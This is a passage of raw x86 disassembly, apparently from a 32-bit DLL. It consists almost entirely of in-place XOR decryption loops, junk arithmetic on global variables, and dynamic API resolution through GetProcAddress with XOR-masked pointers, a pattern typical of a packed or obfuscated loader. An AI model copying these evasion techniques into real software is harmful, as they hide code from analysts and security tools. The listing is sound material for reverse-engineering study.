mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa40e0]
add eax, 0x26bb8
xor eax, dword [ecx]
push ebp
xor eax, 0xdccea774
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2548c]
add eax, 0x3390
xor eax, dword [ecx]
xor eax, 0xdcccff5c
mov dword [ecx], eax
mov eax, dword [0x10106ae8]
sub eax, dword [0x10105368]
mov dword [0x10103e64], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3345c]
add eax, 0x32cdc
xor eax, dword [ecx]
xor eax, 0xdccfe010
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4848]
add eax, 0x26094
xor eax, dword [ecx]
xor eax, 0xdcceac58
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4804]
add eax, 0x27610
xor eax, dword [ecx]
xor eax, 0xdccebadc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33108]
add eax, 0x32fa8
xor eax, dword [ecx]
xor eax, 0xdccfe364
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3a54]
add eax, 0x2777c
xor eax, dword [ecx]
xor eax, 0xdccebbb0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9d6e]
add eax, 0x200dc
xor eax, dword [ecx]
xor eax, 0xdccecc10
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3cd4]
add eax, 0x54628
xor eax, dword [ecx]
xor eax, 0xdcc98ae4
mov dword [ecx], eax
mov eax, dword [0x10103e64]
imul eax, dword [0x10106ae8]
mov dword [0x10105368], eax
mov eax, dword [0x10107300]
add eax, 0x201ac
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf999a
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32e50]
add eax, 0x32fc4
xor eax, dword [ecx]
xor eax, 0xdccfe308
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x23f9c]
add eax, 0x23f28
xor eax, dword [ecx]
mov dword [esp + 0x1c], 0x220
xor eax, 0xdccef3e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9eaa]
add eax, 0x328dc
xor eax, dword [ecx]
xor eax, 0xdccfe410
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4680]
add eax, 0x264d0
xor eax, dword [ecx]
xor eax, 0xdccea81c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4643]
add eax, 0x2583c
xor eax, dword [ecx]
xor eax, 0xdcce94f0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16ba8]
add eax, 0x21408
xor eax, dword [ecx]
xor eax, 0xdcced8c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34488]
add eax, 0x1e717
xor eax, dword [ecx]
xor eax, 0xdccd2bdb
mov dword [ecx], eax
push dword [0x10107300]
push dword [esp + 0x18]
push dword [esp + 0x1c]
push section..data
call fcn.1001555e
dec dword [esp + 0x1c]
jne 0x1002c4f7
mov eax, dword [0x10105368]
and eax, 0x220
mov dword [0x10106ae8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb7c2]
add eax, 0xa5a2c
xor eax, dword [ecx]
xor eax, 0xdcc696e0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x96a5]
add eax, 0x200ec
xor eax, dword [ecx]
xor eax, 0xdccecc20
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x133c9]
add eax, 0x23168
xor eax, dword [ecx]
xor eax, 0xdccefda4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c7b4]
add eax, 0x201b4
xor eax, dword [ecx]
xor eax, 0xdccecd78
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov dword [0x101062e0], eax
lea ecx, [eax + 0xc02e]
add eax, 0x202e0
xor eax, dword [ecx]
xor eax, 0xdccece2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x37088]
add eax, 0x31ef8
xor eax, dword [ecx]
xor eax, 0xdccfd234
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb312]
add eax, 0xa5a30
xor eax, dword [ecx]
xor eax, 0xdcc696fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x37120]
add eax, 0x2d9f8
xor eax, dword [ecx]
xor eax, 0xdcce1534
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
and ecx, dword [esp + 0x20]
mov dword [0x10103e60], ecx
mov ecx, dword [esp + 0x14]
and dword [0x10106ae8], ecx
lea ecx, [eax + 0xa3e84]
add eax, 0x5d9d8
xor eax, dword [ecx]
xor eax, 0xdcc91514
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18471]
add eax, 0xa4c0c
xor eax, dword [ecx]
xor eax, 0xdcc680c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3d08]
add eax, 0x272a0
xor eax, dword [ecx]
xor eax, 0xdccebe6c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1e504]
add eax, 0xa8f30
xor eax, dword [ecx]
xor eax, 0xdcc643fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16d55]
add eax, 0x201bc
xor eax, dword [ecx]
xor eax, 0xdccecd70
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x22d3]
add eax, 0x20288
xor eax, dword [ecx]
xor eax, 0xdccece44
mov dword [ecx], eax
mov ecx, dword [0x10106ae8]
mov eax, dword [0x10103e64]
add eax, ecx
mov dword [0x10105368], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33640]
add eax, 0x33668
xor eax, dword [ecx]
xor eax, 0xdccffaa4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x82b3]
add eax, 0x20110
xor eax, dword [ecx]
xor eax, 0xdccecddc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1d648]
add eax, 0x20200
xor eax, dword [ecx]
xor eax, 0xdccececc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17928]
add eax, 0x17934
xor eax, dword [ecx]
xor eax, 0xdccdb5f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36ac4]
add eax, 0x24a10
xor eax, dword [ecx]
xor eax, 0xdcce86dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32bac]
add eax, 0x36044
xor eax, dword [ecx]
xor eax, 0xdccfac88
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1593c]
add eax, 0x14965
xor eax, dword [ecx]
xor eax, 0xdccd85a9
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb3d5]
add eax, 0x20244
xor eax, dword [ecx]
xor eax, 0xdccece88
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33a3c]
add eax, 0x32c74
xor eax, dword [ecx]
xor eax, 0xdccfe0b8
mov dword [ecx], eax
mov eax, dword [esp + 0x18]
add eax, 0xd4d2d85
mov dword [0x10105abc], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe524]
add eax, 0x25388
xor eax, dword [ecx]
xor eax, 0xdcce9f44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9ff3]
add eax, 0xa5a04
xor eax, dword [ecx]
push 0x1010777a
xor eax, 0xdcc696c8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3b84]
add eax, 0x47468
xor eax, dword [ecx]
push ebp
xor eax, 0xdcc8b8a4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4184]
add eax, 0x7cd30
xor eax, dword [ecx]
xor eax, 0xdccb01fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x343c]
add eax, 0x2548c
xor eax, dword [ecx]
xor eax, 0xdcce9840
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1da81]
add eax, 0x1d9ac
xor eax, dword [ecx]
xor eax, 0xdccd1560
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8167]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20124
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
push 0x10107609
xor ecx, 0xcccf82ee
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2402c]
add eax, 0x23e98
xor eax, dword [ecx]
push ebp
xor eax, 0xdccef254
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x200c8
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf8092
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1968f]
add eax, 0xa8fd4
xor eax, dword [ecx]
xor eax, 0xdcc64318
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa420]
add eax, 0xa5a0c
xor eax, dword [ecx]
xor eax, 0xdcc696c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9409]
add eax, 0x200e4
xor eax, dword [ecx]
xor eax, 0xdccecc28
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4080]
add eax, 0x26c48
xor eax, dword [ecx]
xor eax, 0xdccea084
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1ea9]
add eax, 0x202b8
xor eax, dword [ecx]
xor eax, 0xdccece74
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x37044]
add eax, 0x32174
xor eax, dword [ecx]
xor eax, 0xdccfedb8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1571]
add eax, 0x202ec
xor eax, dword [ecx]
xor eax, 0xdccece20
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12952]
add eax, 0x202dc
xor eax, dword [ecx]
xor eax, 0xdccece10
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa429]
add eax, 0xa5a08
xor eax, dword [ecx]
xor eax, 0xdcc696c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4818]
add eax, 0x260f0
xor eax, dword [ecx]
xor eax, 0xdcceac3c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa47a4]
add eax, 0x27480
xor eax, dword [ecx]
xor eax, 0xdcceb84c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa451c]
add eax, 0x27874
xor eax, dword [ecx]
xor eax, 0xdcceb4b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13ab9]
add eax, 0x20218
xor eax, dword [ecx]
xor eax, 0xdcceced4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1cc84]
add eax, 0x1ccd8
xor eax, dword [ecx]
xor eax, 0xdccd0014
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12223]
add eax, 0x202b4
xor eax, dword [ecx]
xor eax, 0xdccece78
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x10016]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x15c10]
add eax, 0x36000
xor eax, dword [ecx]
xor eax, 0xdccfaccc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x84e6]
add eax, 0x27ba4
xor eax, dword [ecx]
push 0x10107747
xor eax, 0xdcceb768
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33258]
add eax, 0x32d90
xor eax, dword [ecx]
push ebp
xor eax, 0xdccfe15c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16f4d]
add eax, 0xa4f3c
xor eax, dword [ecx]
xor eax, 0xdcc683f0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa42d8]
add eax, 0x26828
xor eax, dword [ecx]
xor eax, 0xdccea4e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
and dword [0x10105ab8], 0
add eax, 0x2011c
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf8126
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1d9fd]
add eax, 0x1d9ac
xor eax, dword [ecx]
xor eax, 0xdccd1560
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x32fd0]
mov ecx, eax
imul ecx, dword [0x101062e4]
add eax, 0x32fd4
xor eax, dword [edx]
xor eax, 0xdccfe318
mov dword [edx], eax
mov eax, dword [0x10103e60]
or eax, dword [0x10105abc]
mov dword [0x101062e4], eax
mov eax, dword [0x10107300]
mov edx, eax
imul edx, eax
mov dword [esp + 0x14], edx
lea edx, [eax + 0xa3b58]
add eax, 0x275d0
xor eax, dword [edx]
xor eax, 0xdcceb91c
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x466f]
add eax, 0x20300
xor eax, dword [edx]
xor eax, 0xdccecfcc
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x11ea9]
add eax, 0x324bc
xor eax, dword [edx]
xor eax, 0xdccfe870
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x32f4c]
add eax, 0x32fa8
xor eax, dword [edx]
xor eax, 0xdccfe364
mov dword [edx], eax
mov eax, dword [0x10107300]
mov edx, eax
xor edx, ecx
lea ecx, [eax + 0x16cd2]
add eax, 0xa4be0
mov dword [0x1010536c], edx
xor eax, dword [ecx]
mov dword [esp + 0x1c], 0x2c8
xor eax, 0xdcc6872c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xac43]
add eax, 0x328dc
xor eax, dword [ecx]
xor eax, 0xdccfe410
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x14b8]
add eax, 0x147f
xor eax, dword [ecx]
xor eax, 0xdcccd8b3
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19521]
add eax, 0xa4f7c
xor eax, dword [ecx]
xor eax, 0xdcc683b0
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x101062e0]
push dword [esp + 0x1c]
push section..data
call fcn.1001555e
dec dword [esp + 0x1c]
jne 0x1002cc1d
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33570]
add eax, 0xa4b6c
xor eax, dword [ecx]
push 0x1010741d
xor eax, 0xdcc687a0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33154]
add eax, 0x33158
xor eax, dword [ecx]
push dword [esp + 0x48]
xor eax, 0xdccffd94
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13b14]
add eax, 0x20218
xor eax, dword [ecx]
xor eax, 0xdcceced4
mov dword [ecx], eax
mov eax, dword [0x10103e64]
xor eax, dword [0x10105ab8]
mov dword [0x10105368], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb70b]
add eax, 0x24c88
xor eax, dword [ecx]
xor eax, 0xdcce8044
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x2022c
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf867e
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c8f8]
add eax, 0x36a70
xor eax, dword [ecx]
xor eax, 0xdccfa6bc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1174c]
add eax, 0xa5a38
xor eax, dword [ecx]
xor eax, 0xdcc696f4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x10daa]
add eax, 0x3233c
xor eax, dword [ecx]
xor eax, 0xdccfeff0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x328c0]
add eax, 0x12ad0
xor eax, dword [ecx]
xor eax, 0xdccde61c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8359]
add eax, 0x200d4
xor eax, dword [ecx]
xor eax, 0xdccecc18
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33064]
add eax, 0x33164
xor eax, dword [ecx]
xor eax, 0xdccffda8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf106]
add eax, 0x27c94
xor eax, dword [ecx]
xor eax, 0xdcceb058
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8f8d]
add eax, 0x27c96
xor eax, dword [ecx]
mov edx, 0xdccecc84
xor eax, 0xdcceb05a
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x177a4]
add eax, 0x177f8
xor eax, dword [ecx]
xor eax, 0xdccdbb34
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33690]
add eax, 0x33694
xor eax, dword [ecx]
xor eax, 0xdccffa58
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5761]
add eax, 0xa59f8
xor eax, dword [ecx]
xor eax, 0xdcc69534
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf7b8]
add eax, 0x20048
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11496]
add eax, 0x25748
xor eax, dword [ecx]
xor eax, 0xdcce9b84
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x37050]
add eax, 0x320e8
xor eax, dword [ecx]
xor eax, 0xdccfec24
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16a9]
add eax, 0x20048
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3de4]
add eax, 0x27874
xor eax, dword [ecx]
xor eax, 0xdcceb4b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3b74]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36284]
add eax, 0x232d0
xor eax, dword [ecx]
xor eax, 0xdccefe1c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, dword [0x101062e4]
mov dword [0x10103e60], ecx
lea ecx, [eax + 0x47d6]
add eax, 0x25e90
xor eax, dword [ecx]
xor eax, 0xdcce925c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18d9f]
add eax, 0x33be8
xor eax, dword [ecx]
xor eax, 0xdccff724
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3336c]
add eax, 0x33338
xor eax, dword [ecx]
push 0x10107bc2
xor eax, 0xdccffff4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34240]
add eax, 0x1f773
xor eax, dword [ecx]
push dword [esp + 0x28]
xor eax, 0xdccd3bbf
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3cf0]
add eax, 0x272c8
xor eax, dword [ecx]
xor eax, 0xdccebe04
mov dword [ecx], eax
mov eax, dword [0x10105abc]
add eax, 0x9fdcdfe9
mov dword [esp + 0x28], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1e6c9]
add eax, 0xa8f28
xor eax, dword [ecx]
xor eax, 0xdcc643e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x2027c
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
push 0x101075a3
xor ecx, 0xcccf9dd4
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19d8f]
add eax, 0xa8fb4
xor eax, dword [ecx]
push ebp
xor eax, 0xdcc64378
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3e6c]
add eax, 0x5d8a8
xor eax, dword [ecx]
xor eax, 0xdcc91464
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x200ac
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf872a
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13470]
add eax, 0x3295c
xor eax, dword [ecx]
xor eax, 0xdccfe590
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25e98]
add eax, 0x4ea0
xor eax, dword [ecx]
xor eax, 0xdccc826c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb5e6]
add eax, 0xa5a28
xor eax, dword [ecx]
xor eax, 0xdcc696e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x7f0c]
add eax, 0x27afc
xor eax, dword [ecx]
xor eax, 0xdcceb630
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1ccf8]
add eax, 0x1cd5b
xor eax, dword [ecx]
xor eax, 0xdccd0197
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe6b6]
add eax, 0xb660
xor eax, dword [ecx]
xor eax, 0xdccc7aac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x184d5]
add eax, 0xa4c10
xor eax, dword [ecx]
xor eax, 0xdcc680dc
mov dword [ecx], eax
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x25eec]
mov eax, dword [0x10106ae8]
add ecx, 0x51c0
xor ecx, dword [edx]
add eax, 0x97286bd
xor ecx, 0xdccc9d0c
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x119fb]
add ecx, 0xa5a30
xor ecx, dword [edx]
xor ecx, 0xdcc696fc
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x279d4]
add ecx, 0x3e50
xor ecx, dword [edx]
xor ecx, 0xdcccf29c
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x36c54]
add ecx, 0x36c10
xor ecx, dword [edx]
xor ecx, 0xdccfa0dc
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x252a4]
add ecx, 0x2420
xor ecx, dword [edx]
xor ecx, 0xdccce8ec
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x19d34]
add ecx, 0xa508c
xor ecx, dword [edx]
xor ecx, 0xdcc69c40
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0xaaef]
add ecx, 0x328d8
xor ecx, dword [edx]
xor ecx, 0xdccfe414
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0xa4114]
add ecx, 0x27748
xor ecx, dword [edx]
xor ecx, edi
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0x4be6]
add ecx, 0x20244
xor ecx, dword [edx]
xor ecx, 0xdccece88
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0xa3f74]
add ecx, 0x73828
xor ecx, dword [edx]
xor eax, 0x6f5dc55f
xor ecx, 0xdccbf4e4
mov dword [edx], ecx
mov ecx, dword [0x10107300]
lea edx, [ecx + 0xa41d4]
add ecx, 0x27748
xor ecx, dword [edx]
xor ecx, edi
mov dword [edx], ecx
imul eax, dword [0x10106ae8]
mov dword [0x10105ab8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18665]
add eax, 0x20184
xor eax, dword [ecx]
xor eax, 0xdccecd48
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3fbc]
add eax, 0x77348
xor eax, dword [ecx]
xor eax, 0xdccbbf84
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19db0]
add eax, 0x201c4
xor eax, dword [ecx]
xor eax, 0xdccecd08
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18021]
add eax, 0x2019c
xor eax, dword [ecx]
xor eax, 0xdccecd50
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a7fd]
add eax, 0x201c8
xor eax, dword [ecx]
xor eax, 0xdccecd04
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3f44]
add eax, 0x72f18
xor eax, dword [ecx]
xor eax, 0xdccbe3d4
mov dword [ecx], eax
mov eax, dword [0x101062e4]
mov ecx, dword [esp + 0x20]
add eax, ecx
mov dword [0x10103e60], eax
mov eax, dword [0x10107300]
mov ecx, eax
xor ecx, dword [0x10103e64]
mov dword [0x10106ae8], ecx
lea ecx, [eax + 0x1d19b]
add eax, 0x36b88
xor eax, dword [ecx]
xor eax, 0xdccfa744
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4c88]
add eax, 0x20244
xor eax, dword [ecx]
xor eax, 0xdccece88
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x140f0]
add eax, 0xa5aa8
xor eax, dword [ecx]
xor eax, 0xdcc69664
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25fb0]
add eax, 0x5a80
xor eax, dword [ecx]
xor eax, 0xdccc964c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa254]
add eax, 0xa5a08
xor eax, dword [ecx]
xor eax, 0xdcc696c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb735]
add eax, 0x202cc
xor eax, dword [ecx]
xor eax, 0xdccece00
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x240a0]
add eax, 0x23cdc
xor eax, dword [ecx]
xor eax, 0xdccef010
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xea26]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36b6c]
add eax, 0xa55bc
xor eax, dword [ecx]
xor eax, 0xdcc69970
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3a64]
add eax, 0x39d18
xor eax, dword [ecx]
xor eax, 0xdccf51d4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b662]
add eax, 0x36060
xor eax, dword [ecx]
xor eax, 0xdccfacac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1867c]
add eax, 0x20190
xor eax, dword [ecx]
xor eax, 0xdccecd5c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3bfc]
add eax, 0x489f8
xor eax, dword [ecx]
xor eax, 0xdcc84534
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4d09]
add eax, 0x25a98
xor eax, dword [ecx]
xor eax, 0xdcce9654
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3f3]
add eax, 0x20204
xor eax, dword [ecx]
xor eax, 0xdccecec8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2551c]
add eax, 0x2d40
xor eax, dword [ecx]
xor eax, 0xdccce18c
mov dword [ecx], eax
mov eax, dword [0x10103e60]
xor eax, dword [0x1010536c]
mov dword [esp + 0x18], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5122]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa821]
add eax, 0xa59c0
xor eax, dword [ecx]
push 0x10107b27
xor eax, 0xdcc6950c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3626c]
add eax, 0x234a0
xor eax, dword [ecx]
push dword [esp + 0x28]
xor eax, 0xdccef86c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [0x101062e4]
mov dword [0x10103e60], ecx
lea ecx, [eax + 0x277f]
add eax, 0x252a8
xor eax, dword [ecx]
xor eax, 0xdcce9e64
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20258
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
push 0x10107547
xor ecx, 0xcccf9da2
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1cdfc]
